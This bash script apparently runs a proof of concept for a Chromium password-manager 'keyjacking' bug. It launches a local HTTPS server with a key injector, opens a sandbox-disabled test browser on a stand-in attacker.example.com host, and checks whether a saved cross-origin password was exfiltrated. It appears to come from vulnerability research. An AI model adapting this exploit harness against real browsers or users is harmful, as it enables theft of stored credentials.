#!/bin/bash
# Account-chooser keyjacking POC runner.
set -euo pipefail
HERE="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="${PROFILE:-/tmp/chrome-poc-profile}"
LOG="$HERE/poc-output.log"

cd "$HERE"

echo "=== 1. Setting up profile with PSL credential ==="
CHROME="$CHROME" PROFILE="$PROFILE" python3 setup_profile.py

echo "=== 2. Starting HTTPS server + key injector ==="
pkill -f 'server.py' 2>/dev/null || true
python3 server.py > server.log 2>&1 &
SERVER_PID=$!
trap 'kill $SERVER_PID 2>/dev/null || true' EXIT
sleep 2

# Compute SPKI hash so the self-signed cert verifies cleanly
# (--ignore-certificate-errors leaves cert_status as ERROR, which makes
# IsFillingEnabled() return false; --ignore-certificate-errors-spki-list
# makes the verifier return OK with cert_status=0, matching what a real
# attacker-controlled cert from a public CA would produce).
SPKI_HASH=$(openssl x509 -in cert.pem -pubkey -noout \
  | openssl pkey -pubin -outform der \
  | openssl dgst -sha256 -binary \
  | openssl enc -base64)
echo "[run] SPKI hash: $SPKI_HASH"

echo "=== 3. Launching Chrome on attacker.example.com ==="
# host-resolver-rules + spki-list are test-environment conveniences
# (an attacker would have a real DNS entry and a real cert); they do not
# affect the keyjacking logic under test.
timeout 30 "$CHROME" \
  --no-sandbox \
  --no-first-run --no-default-browser-check \
  --password-store=basic \
  --user-data-dir="$PROFILE" \
  --host-resolver-rules='MAP *.example.com 127.0.0.1' \
  --ignore-certificate-errors-spki-list="$SPKI_HASH" \
  --enable-logging=stderr --v=0 \
  'https://attacker.example.com:8443/poc.html' \
  > "$LOG" 2>&1 || true

echo "=== 4. Result ==="
echo "--- server.log ---"
cat server.log
echo "--- chrome console (POC lines) ---"
grep -E '\[POC\]' "$LOG" || true
echo
if grep -q 'EXFILTRATED CREDENTIAL' server.log; then
  echo '*** SUCCESS: cross-origin password disclosed via single Enter keypress ***'
  grep 'EXFILTRATED CREDENTIAL' server.log
  exit 0
else
  echo '*** credential not exfiltrated; see poc-output.log / server.log ***'
  exit 1
fi
